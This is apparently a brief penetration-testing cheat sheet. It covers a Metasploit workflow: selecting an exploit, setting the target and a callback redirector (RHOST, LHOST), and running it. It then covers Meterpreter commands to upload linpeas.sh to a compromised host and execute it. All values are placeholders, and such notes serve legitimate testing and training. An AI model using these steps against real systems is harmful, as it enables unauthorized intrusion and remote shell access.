# **Basic Information** # **MSFConsole** ```bash # start metasploit msfconsole -qn # search for and use an exploit search <EXPLOIT> use <EXPLOIT> # configure the exploit set RHOST <TGT_IP> set RPORT <TGT_PORT> set payload set LHOST <REDIR_IP> set LPORT <REDIR_PORT> check exploit ``` # **Meterpreter Shell Commands** ```bash # upload file to target, such as linpeas.sh upload <LOCAL_FILE> <REMOTE_FILE> # run a script, such as linpeas.sh execute -i -f bash -a <REMOTE_FILE> ``` # **References** # **Practical Application** | Platform | Name | Notes | | -------- | ---- | ----- | | | | |